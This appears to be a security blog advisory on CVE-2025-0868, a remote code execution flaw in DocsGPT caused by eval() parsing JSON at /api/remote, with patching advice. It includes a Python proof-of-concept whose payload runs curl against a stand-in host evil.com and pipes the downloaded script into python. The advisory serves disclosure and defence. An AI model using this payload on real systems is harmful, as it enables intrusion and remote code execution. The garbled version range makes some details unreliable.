A critical vulnerability, CVE-2025-0868, has recently been discovered in DocsGPT, an AI-powered text-generator. This could potentially enable malicious actors to execute Remote Code Execution (RCE) on the target host. Extensive analysis and investigation of this vulnerability have shown that it originally stems from an improper parsing of JSON data by using eval() via the /api/remote endpoint.

This blog post provides an exclusive, detailed look into the vulnerability as well as recommendations for patching. We will also cover an example of the code snippet and showcase how to reproduce the (RCE) condition. It is essential to understand the risks associated with this vulnerability and to take immediate action to mitigate them.

Vulnerability Details

The problem with this vulnerability lies in how DocsGPT processes and parses incoming JSON data sent to /api/remote. Most applications have security protocols to handle JSON objects safely, but the DocsGPT versions .8.1 through .12. were found to be using the eval() function to parse JSON data. This approach makes it much easier for attackers to send arbitrary Python code, which ultimately leads to Remote Code Execution (RCE) in the host server.

Code Snippet (Exploitative Example)

import requests

target_url = "http://example.com/api/remote";
malicious_payload = "__import__('os').system('curl https://evil.com/malicious_script.py | python')"

payload = {"text": f"{{ {malicious_payload} }}"}

response = requests.post(target_url, json=payload)

print(response.text)

This code snippet demonstrates how an attacker can craft a malicious payload to exploit the vulnerability. The attacker sends the payload to the target_url, which corresponds to the /api/remote endpoint exposed by DocsGPT. The malicious payload includes a bad actor's crafted Python code, leading to RCE when the server processes it.

Patches and Workarounds

The DocsGPT development team has already acknowledged the existence of this critical vulnerability, and they have released patches for all affected versions. It is of paramount importance to update your DocsGPT installations to the minimum secure versions as described in the official advisory:

Check the official DocsGPT GitHub repository for announcements and patch details: https://github.com/docsgpt/docsgpt

While keeping your software updated is the best way to protect against this vulnerability, another quick fix would be modifying the JSON parsing code in affected applications. Instead of using eval(), you could use the json.loads() function, which has fewer security concerns:

import json

input_string = '{"text": "Hello, World!"}'
json_data = json.loads(input_string)

Conclusion

CVE-2025-0868 is a severe vulnerability that could enable attackers to perform Remote Code Execution (RCE) on systems using affected versions of DocsGPT. This vulnerability demonstrates the importance of secure coding practices when it comes to handling user input and data processing. Make sure you update your installations and reinforce your security practices to minimize the risk of such vulnerabilities in the future.

Timeline

Published on: 02/20/2025 12:15:10 UTC